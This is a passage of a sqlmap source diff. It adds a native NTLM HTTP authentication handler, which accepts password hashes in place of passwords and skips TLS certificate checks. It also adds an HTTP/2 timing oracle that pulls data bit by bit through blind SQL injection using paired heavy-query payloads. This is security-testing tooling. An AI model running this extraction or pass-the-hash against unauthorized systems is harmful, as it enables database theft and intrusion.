buffer_ += b"--%s\r\n" % getBytes(boundary)
|
||||
buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename))
|
||||
buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType)
|
||||
fd.seek(0)
|
||||
buffer_ += b"\r\n%s\r\n" % fd.read()
|
||||
|
||||
buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary)
|
||||
|
||||
return boundary, getBytes(buffer_)
|
||||
|
||||
https_request = http_request
|
||||
@@ -0,0 +1,269 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient
|
||||
# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for
|
||||
# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is
|
||||
# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors.
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from thirdparty.pydes.pyDes import des
|
||||
from thirdparty.pydes.pyDes import ECB
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
# ---------- MD4 (RFC 1320) ----------
|
||||
def _md4(data):
|
||||
data = bytearray(data)
|
||||
n = len(data)
|
||||
data.append(0x80)
|
||||
while len(data) % 64 != 56:
|
||||
data.append(0)
|
||||
data += struct.pack("<Q", (n * 8) & 0xffffffffffffffff)
|
||||
|
||||
a, b, c, d = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
|
||||
M = 0xffffffff
|
||||
rot = lambda x, s: ((x << s) | (x >> (32 - s))) & M
|
||||
|
||||
for off in range(0, len(data), 64):
|
||||
X = struct.unpack("<16I", bytes(data[off:off + 64]))
|
||||
A, B, C, D = a, b, c, d
|
||||
F = lambda x, y, z: (x & y) | (~x & z)
|
||||
G = lambda x, y, z: (x & y) | (x & z) | (y & z)
|
||||
H = lambda x, y, z: x ^ y ^ z
|
||||
|
||||
for k in (0, 4, 8, 12):
|
||||
A = rot((A + F(B, C, D) + X[k]) & M, 3)
|
||||
D = rot((D + F(A, B, C) + X[k + 1]) & M, 7)
|
||||
C = rot((C + F(D, A, B) + X[k + 2]) & M, 11)
|
||||
B = rot((B + F(C, D, A) + X[k + 3]) & M, 19)
|
||||
for k in (0, 1, 2, 3):
|
||||
A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3)
|
||||
D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5)
|
||||
C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9)
|
||||
B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13)
|
||||
for k in (0, 2, 1, 3):
|
||||
A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3)
|
||||
D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9)
|
||||
C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11)
|
||||
B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15)
|
||||
|
||||
a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M
|
||||
|
||||
return struct.pack("<4I", a, b, c, d)
|
||||
|
||||
# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ----------
|
||||
def _str_to_key(chunk):
|
||||
s = bytearray(chunk)
|
||||
k = [s[0] >> 1,
|
||||
((s[0] & 0x01) << 6) | (s[1] >> 2),
|
||||
((s[1] & 0x03) << 5) | (s[2] >> 3),
|
||||
((s[2] & 0x07) << 4) | (s[3] >> 4),
|
||||
((s[3] & 0x0f) << 3) | (s[4] >> 5),
|
||||
((s[4] & 0x1f) << 2) | (s[5] >> 6),
|
||||
((s[5] & 0x3f) << 1) | (s[6] >> 7),
|
||||
s[6] & 0x7f]
|
||||
return bytes(bytearray((_ << 1) & 0xff for _ in k))
|
||||
|
||||
def _des(key7, block8):
|
||||
return des(_str_to_key(key7), ECB).encrypt(block8)
|
||||
|
||||
# ---------- negotiate flags ----------
|
||||
NTLM_NegotiateUnicode = 0x00000001
|
||||
NTLM_NegotiateOEM = 0x00000002
|
||||
NTLM_RequestTarget = 0x00000004
|
||||
NTLM_NegotiateNTLM = 0x00000200
|
||||
NTLM_NegotiateOemDomainSupplied = 0x00001000
|
||||
NTLM_NegotiateOemWorkstationSupplied = 0x00002000
|
||||
NTLM_NegotiateAlwaysSign = 0x00008000
|
||||
NTLM_NegotiateExtendedSecurity = 0x00080000
|
||||
NTLM_NegotiateTargetInfo = 0x00800000
|
||||
NTLM_NegotiateVersion = 0x02000000
|
||||
NTLM_Negotiate128 = 0x20000000
|
||||
NTLM_Negotiate56 = 0x80000000
|
||||
NTLM_MsvAvTimestamp = 7
|
||||
|
||||
NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM |
|
||||
NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied |
|
||||
NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion |
|
||||
NTLM_Negotiate128 | NTLM_Negotiate56)
|
||||
NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM |
|
||||
NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo |
|
||||
NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56)
|
||||
|
||||
_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z")
|
||||
|
||||
# ---------- password hashes / challenge responses ----------
|
||||
def create_LM_hashed_password_v1(password):
|
||||
if _HASH_RE.match(password):
|
||||
return binascii.unhexlify(password.split(':')[0])
|
||||
pw = (getBytes(password.upper()) + b"\0" * 14)[:14]
|
||||
return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%")
|
||||
|
||||
def create_NT_hashed_password_v1(password, user=None, domain=None):
|
||||
if _HASH_RE.match(password):
|
||||
return binascii.unhexlify(password.split(':')[1])
|
||||
return _md4(password.encode("utf-16-le"))
|
||||
|
||||
def calc_resp(password_hash, server_challenge):
|
||||
ph = password_hash + b"\0" * (21 - len(password_hash))
|
||||
return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge)
|
||||
|
||||
def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge):
|
||||
import hashlib
|
||||
lm_response = client_challenge + b"\0" * 16
|
||||
session = hashlib.md5(server_challenge + client_challenge).digest()
|
||||
nt_response = calc_resp(nt_hash, session[0:8])
|
||||
return (nt_response, lm_response)
|
||||
|
||||
# ---------- messages ----------
|
||||
def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS):
|
||||
workstation = getBytes(socket.gethostname().upper())
|
||||
domain = getBytes(user.split('\\', 1)[0].upper())
|
||||
body = 40
|
||||
msg = b"NTLMSSP\0" + struct.pack("<I", 1) + struct.pack("<I", type1_flags)
|
||||
msg += struct.pack("<HHI", len(domain), len(domain), body)
|
||||
msg += struct.pack("<HHI", len(workstation), len(workstation), body + len(domain))
|
||||
msg += struct.pack("<BBHBBBB", 5, 1, 2600, 0, 0, 0, 15) # advertised OS version
|
||||
msg += workstation + domain
|
||||
return getText(base64.b64encode(msg))
|
||||
|
||||
def parse_NTLM_CHALLENGE_MESSAGE(msg2):
|
||||
msg = base64.b64decode(msg2)
|
||||
negotiate_flags = struct.unpack("<I", msg[20:24])[0]
|
||||
server_challenge = msg[24:32]
|
||||
return (server_challenge, negotiate_flags)
|
||||
|
||||
def create_NTLM_AUTHENTICATE_MESSAGE(nonce, user, domain, password, negotiate_flags):
|
||||
is_unicode = negotiate_flags & NTLM_NegotiateUnicode
|
||||
is_extended = negotiate_flags & NTLM_NegotiateExtendedSecurity
|
||||
|
||||
workstation = socket.gethostname().upper()
|
||||
domain = domain.upper()
|
||||
if is_unicode:
|
||||
workstation = workstation.encode("utf-16-le")
|
||||
domain = domain.encode("utf-16-le")
|
||||
username = user.encode("utf-16-le")
|
||||
else:
|
||||
workstation = getBytes(workstation)
|
||||
domain = getBytes(domain)
|
||||
username = getBytes(user)
|
||||
|
||||
lm_response = calc_resp(create_LM_hashed_password_v1(password), nonce)
|
||||
nt_response = calc_resp(create_NT_hashed_password_v1(password), nonce)
|
||||
if is_extended:
|
||||
nt_hash = create_NT_hashed_password_v1(password)
|
||||
client_challenge = os.urandom(8)
|
||||
nt_response, lm_response = ntlm2sr_calc_resp(nt_hash, nonce, client_challenge)
|
||||
|
||||
body = 72
|
||||
payload = domain + username + workstation + lm_response + nt_response
|
||||
fields = b"NTLMSSP\0" + struct.pack("<I", 3)
|
||||
fields += struct.pack("<HHI", len(lm_response), len(lm_response), body + len(domain) + len(username) + len(workstation))
|
||||
fields += struct.pack("<HHI", len(nt_response), len(nt_response), body + len(domain) + len(username) + len(workstation) + len(lm_response))
|
||||
fields += struct.pack("<HHI", len(domain), len(domain), body)
|
||||
fields += struct.pack("<HHI", len(username), len(username), body + len(domain))
|
||||
fields += struct.pack("<HHI", len(workstation), len(workstation), body + len(domain) + len(username))
|
||||
fields += struct.pack("<HHI", 0, 0, body + len(payload)) # empty EncryptedRandomSessionKey
|
||||
fields += struct.pack("<I", NTLM_TYPE2_FLAGS)
|
||||
fields += struct.pack("<BBHBBBB", 5, 1, 2600, 0, 0, 0, 15)
|
||||
return getText(base64.b64encode(fields + payload))
|
||||
|
||||
# ---------- urllib handler ----------
|
||||
class _AbstractNtlmAuthHandler(object):
|
||||
def __init__(self, password_mgr=None):
|
||||
self.passwd = password_mgr or _urllib.request.HTTPPasswordMgr()
|
||||
self.add_password = self.passwd.add_password
|
||||
|
||||
def _authenticate(self, auth_header_field, req, headers):
|
||||
auth_header_value = headers.get(auth_header_field, None)
|
||||
if auth_header_value is not None and 'ntlm' in auth_header_value.lower():
|
||||
return self._retry_ntlm(req, auth_header_field)
|
||||
|
||||
def _retry_ntlm(self, req, auth_header_field):
|
||||
user, pw = self.passwd.find_user_password(None, req.get_full_url())
|
||||
if pw is None:
|
||||
return None
|
||||
|
||||
parts = user.split('\\', 1)
|
||||
if len(parts) == 1:
|
||||
username, domain = parts[0], ''
|
||||
type1_flags = NTLM_TYPE1_FLAGS & ~NTLM_NegotiateOemDomainSupplied
|
||||
else:
|
||||
domain, username = parts[0].upper(), parts[1]
|
||||
type1_flags = NTLM_TYPE1_FLAGS
|
||||
|
||||
# NTLM authenticates the CONNECTION, not the request, so the whole handshake rides one socket
|
||||
headers = dict(req.headers)
|
||||
headers.update(req.unredirected_hdrs)
|
||||
negotiate = 'NTLM %s' % create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags)
|
||||
if req.headers.get(self.auth_header, None) == negotiate:
|
||||
return None
|
||||
headers[self.auth_header] = negotiate
|
||||
|
||||
host = req.host if hasattr(req, "host") else req.get_host()
|
||||
if not host:
|
||||
raise _urllib.error.URLError("no host given")
|
||||
if req.get_full_url().startswith("https://"):
|
||||
conn = _http_client.HTTPSConnection(host, context=ssl._create_unverified_context())
|
||||
else:
|
||||
conn = _http_client.HTTPConnection(host)
|
||||
|
||||
selector = req.selector if hasattr(req, "selector") else req.get_selector()
|
||||
method = req.get_method()
|
||||
|
||||
headers["Connection"] = "Keep-Alive"
|
||||
headers = dict((name.title(), value) for name, value in headers.items())
|
||||
conn.request(method, selector, req.data, headers)
|
||||
resp = conn.getresponse()
|
||||
resp.read() # drain the challenge body, keep the socket
|
||||
if resp.getheader("set-cookie"): # some apps track auth state in a cookie
|
||||
headers["Cookie"] = resp.getheader("set-cookie")
|
||||
auth_header_value = resp.getheader(auth_header_field, None)
|
||||
|
||||
match = re.match(r"(NTLM [A-Za-z0-9+\-/=]+)", auth_header_value or "")
|
||||
if not match:
|
||||
return None
|
||||
server_challenge, negotiate_flags = parse_NTLM_CHALLENGE_MESSAGE(match.group(1)[5:])
|
||||
|
||||
headers[self.auth_header] = 'NTLM %s' % create_NTLM_AUTHENTICATE_MESSAGE(server_challenge, username, domain, pw, negotiate_flags)
|
||||
headers["Connection"] = "Close"
|
||||
headers = dict((name.title(), value) for name, value in headers.items())
|
||||
try:
|
||||
conn.request(method, selector, req.data, headers)
|
||||
resp = conn.getresponse()
|
||||
if not hasattr(resp, "readline"): # Python 2 httplib responses lack it; addinfourl copies it
|
||||
resp.readline = lambda *args, **kwargs: b""
|
||||
infourl = _urllib.response.addinfourl(resp, resp.msg, req.get_full_url())
|
||||
infourl.code = resp.status
|
||||
infourl.msg = resp.reason
|
||||
return infourl
|
||||
except socket.error as ex:
|
||||
raise _urllib.error.URLError(ex)
|
||||
|
||||
class HTTPNtlmAuthHandler(_AbstractNtlmAuthHandler, _urllib.request.BaseHandler):
|
||||
auth_header = "Authorization"
|
||||
|
||||
def http_error_401(self, req, fp, code, msg, headers):
|
||||
fp.close()
|
||||
return self._authenticate("www-authenticate", req, headers)
|
||||
|
||||
class ProxyNtlmAuthHandler(_AbstractNtlmAuthHandler, _urllib.request.BaseHandler):
|
||||
auth_header = "Proxy-authorization"
|
||||
|
||||
def http_error_407(self, req, fp, code, msg, headers):
|
||||
fp.close()
|
||||
return self._authenticate("proxy-authenticate", req, headers)
|
||||
@@ -82,14 +82,20 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
||||
|
||||
try:
|
||||
content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||
fp.fp = io.BytesIO(content)
|
||||
# Note: drain via the length-aware response (honors Content-Length/chunked), NOT the raw
|
||||
# socket 'fp.fp' - the latter has no HTTP framing, so on a Keep-Alive connection (no EOF)
|
||||
# it blocks for the whole '--timeout' on every redirect (Issue #6080)
|
||||
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||
except _http_client.IncompleteRead as ex:
|
||||
content = ex.partial
|
||||
fp.fp = io.BytesIO(content)
|
||||
except:
|
||||
content = b""
|
||||
|
||||
# back 'fp' with the captured body so it stays re-readable downstream (Issue #5985); the
|
||||
# length-aware read above has consumed the response, so restore both the buffer and read()
|
||||
fp.fp = io.BytesIO(content)
|
||||
fp.read = fp.fp.read
|
||||
|
||||
content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE))
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
@@ -0,0 +1,714 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native
|
||||
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single
|
||||
# TCP write and multiplexed on one connection; because they share the packet and the path, network
|
||||
# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects
|
||||
# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be
|
||||
# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the
|
||||
# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines.
|
||||
#
|
||||
# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing
|
||||
# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable
|
||||
# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead.
|
||||
|
||||
import threading
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.request.http2 import _H2Connection
|
||||
|
||||
# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage.
|
||||
_engageLock = threading.Lock()
|
||||
|
||||
|
||||
def buildConditionPair(condition, heavy, cheap="0"):
|
||||
"""Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g.
|
||||
'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB
|
||||
do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work
|
||||
iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order
|
||||
names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid
|
||||
booleans (>=0 always holds) so they never change the page, keeping the channel blind.
|
||||
|
||||
`heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function);
|
||||
`cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying
|
||||
on optimiser short-circuit.
|
||||
|
||||
>>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t")
|
||||
>>> c
|
||||
'(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0'
|
||||
>>> n
|
||||
'(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0'
|
||||
"""
|
||||
condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap)
|
||||
negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy)
|
||||
return condExpr, negExpr
|
||||
|
||||
|
||||
def _pairOrder(conn, reqA, reqB, timeout):
|
||||
"""Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two
|
||||
stream ids in send order (reqA got the lower id)."""
|
||||
order, _results = conn.exchange_pair([reqA, reqB], timeout)
|
||||
loSid = conn.next_sid - 4
|
||||
hiSid = conn.next_sid - 2
|
||||
return order[0], loSid, hiSid
|
||||
|
||||
|
||||
def readBit(conn, reqCond, reqNeg, votes=5, timeout=30):
|
||||
"""Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is
|
||||
ambiguous (load-degraded).
|
||||
|
||||
reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the
|
||||
condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes
|
||||
LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias)
|
||||
and counts how often reqCond finished last:
|
||||
- real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0
|
||||
- real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0
|
||||
- END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run
|
||||
heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past
|
||||
the end - CockroachDB - both requests error and it is a ~0.5 coin flip).
|
||||
Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and
|
||||
CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom
|
||||
trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g.
|
||||
--threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was
|
||||
single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep
|
||||
voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a
|
||||
lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query
|
||||
time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded."""
|
||||
condLast, i = 0, 0
|
||||
cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits
|
||||
while True:
|
||||
if i % 2 == 0:
|
||||
first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout)
|
||||
condSid = loSid
|
||||
else:
|
||||
first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout)
|
||||
condSid = hiSid
|
||||
if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE
|
||||
condLast += 1
|
||||
i += 1
|
||||
if i < votes: # gather a minimum sample before deciding
|
||||
continue
|
||||
fraction = condLast / float(i)
|
||||
if fraction >= 0.8:
|
||||
return True
|
||||
if fraction <= 0.5:
|
||||
return False
|
||||
if i >= cap: # still ambiguous after escalating -> decide by the same threshold
|
||||
return fraction >= 0.8
|
||||
|
||||
|
||||
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None):
|
||||
"""Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair
|
||||
(reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent
|
||||
backend the slow request finishes last regardless of its id. Returns (usable, confidence) where
|
||||
confidence is the fraction of trials in which the slow request finished last. Below `threshold` the
|
||||
backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if
|
||||
given, is called once per trial so the caller can stream a progress indicator."""
|
||||
slowLast = 0
|
||||
for i in range(trials):
|
||||
if i % 2 == 0:
|
||||
first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout)
|
||||
slowSid = loSid
|
||||
else:
|
||||
first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout)
|
||||
slowSid = hiSid
|
||||
if first != slowSid:
|
||||
slowLast += 1
|
||||
if progress is not None:
|
||||
progress()
|
||||
confidence = slowLast / float(trials) if trials else 0.0
|
||||
return (confidence >= threshold), confidence
|
||||
|
||||
|
||||
def connect(host, port=443, proxy=None, timeout=30):
|
||||
"""Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so
|
||||
its multiplexed pairs never interleave with ordinary single-stream traffic)."""
|
||||
return _H2Connection(host, port, proxy, timeout)
|
||||
|
||||
|
||||
class TimelessOracle(object):
|
||||
"""The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every
|
||||
boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the
|
||||
already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy
|
||||
reference and reads the bit from response order. This reuses the entire bisection/inference/threading
|
||||
stack unchanged - bisection just calls queryPage and gets a bool.
|
||||
|
||||
Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py
|
||||
and the http2 pool - streams from different threads never interleave on one socket, so parallel
|
||||
per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an
|
||||
immutable spec-derived dict, so it is shared read-only across threads."""
|
||||
|
||||
def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30):
|
||||
self.host, self.port, self.proxy = host, port, proxy
|
||||
self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak)
|
||||
self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded
|
||||
self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit);
|
||||
# enough votes that TRUE ~100% and end-of-string ~50% separate cleanly
|
||||
self.timeout = timeout
|
||||
self._local = threading.local()
|
||||
self._conns = [] # every opened connection, for clean teardown
|
||||
self._lock = threading.Lock()
|
||||
self.savedTechnique = None # active technique whose vector we swapped (restored on disengage)
|
||||
self.savedVector = None
|
||||
|
||||
def _conn(self):
|
||||
conn = getattr(self._local, "conn", None)
|
||||
if conn is None or not conn.usable:
|
||||
conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout)
|
||||
with self._lock:
|
||||
self._conns.append(conn)
|
||||
return conn
|
||||
|
||||
def readBitFromSpecs(self, condSpec, negSpec=None):
|
||||
"""Read the bit from the assembled condition request and, when available, its negation. With a
|
||||
negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it
|
||||
stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The
|
||||
asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not
|
||||
be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the
|
||||
(url, method, headers, post) tuples from getPage(buildOnly=True)."""
|
||||
reqCond = _specToReq(condSpec, self.host)
|
||||
if negSpec is not None:
|
||||
return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout)
|
||||
return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout)
|
||||
|
||||
def close(self):
|
||||
with self._lock:
|
||||
for conn in self._conns:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._conns = []
|
||||
|
||||
|
||||
def engage(host, port, vector, proxy=None, timeout=30):
|
||||
"""Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread
|
||||
TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up
|
||||
automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy).
|
||||
The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise)."""
|
||||
from lib.core.data import kb
|
||||
|
||||
refReq = _forgeRequest("1=1", host, vector)
|
||||
kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout)
|
||||
return kb.timeless
|
||||
|
||||
|
||||
def disengage():
|
||||
"""Tear down the timeless oracle and close all per-thread connections."""
|
||||
from lib.core.data import kb
|
||||
|
||||
oracle = kb.get("timeless")
|
||||
if oracle is not None:
|
||||
if oracle.savedTechnique is not None:
|
||||
try:
|
||||
from lib.core.common import getTechniqueData
|
||||
getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector
|
||||
except Exception:
|
||||
pass
|
||||
oracle.close()
|
||||
kb.timeless = None
|
||||
|
||||
|
||||
def hintTimeless():
|
||||
"""Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user
|
||||
did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once.
|
||||
Only fires when time-based is the channel that will actually be used (no faster in-band option) so the
|
||||
hint is never noise. Purely advisory, never raises, at most one message per run."""
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage
|
||||
from lib.core.enums import PAYLOAD
|
||||
|
||||
try:
|
||||
if conf.get("timeless") or kb.get("timelessHinted"):
|
||||
return
|
||||
kb.timelessHinted = True
|
||||
|
||||
# only relevant when time-based is the chosen channel (a faster in-band one would be used instead)
|
||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||
return
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)):
|
||||
return
|
||||
|
||||
try:
|
||||
from urllib.parse import urlsplit
|
||||
except ImportError:
|
||||
from urlparse import urlsplit
|
||||
parts = urlsplit(conf.url or "")
|
||||
if parts.scheme != "https":
|
||||
return
|
||||
|
||||
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'
|
||||
conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30)
|
||||
conn.close()
|
||||
singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection "
|
||||
"by relative response order (no delay), typically far faster. Consider re-running with '--timeless'")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def autoEngage():
|
||||
"""Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by
|
||||
action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built).
|
||||
Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a
|
||||
light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable
|
||||
(the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises."""
|
||||
from lib.core.data import conf, kb, logger
|
||||
from lib.core.common import Backend
|
||||
|
||||
with _engageLock:
|
||||
if kb.get("timeless") is not None:
|
||||
return True
|
||||
return _doAutoEngage(conf, kb, logger, Backend)
|
||||
|
||||
|
||||
def _doAutoEngage(conf, kb, logger, Backend):
|
||||
try:
|
||||
if not conf.get("timeless"):
|
||||
return False
|
||||
|
||||
# Never during detection - that phase confirms the vuln (and runs the false-positive check) by
|
||||
# measuring REAL induced delays, which response-order would break. kb.testMode is True throughout
|
||||
# detection and False once extraction begins.
|
||||
if kb.get("testMode"):
|
||||
return False
|
||||
|
||||
# Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose
|
||||
# data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one.
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None
|
||||
if not timeData or INFERENCE_MARKER not in (timeData.vector or ""):
|
||||
return False
|
||||
|
||||
try:
|
||||
from urllib.parse import urlsplit
|
||||
except ImportError:
|
||||
from urlparse import urlsplit
|
||||
parts = urlsplit(conf.url or "")
|
||||
if parts.scheme != "https":
|
||||
logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based")
|
||||
return False
|
||||
|
||||
host, port = parts.hostname, parts.port or 443
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None:
|
||||
logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms)
|
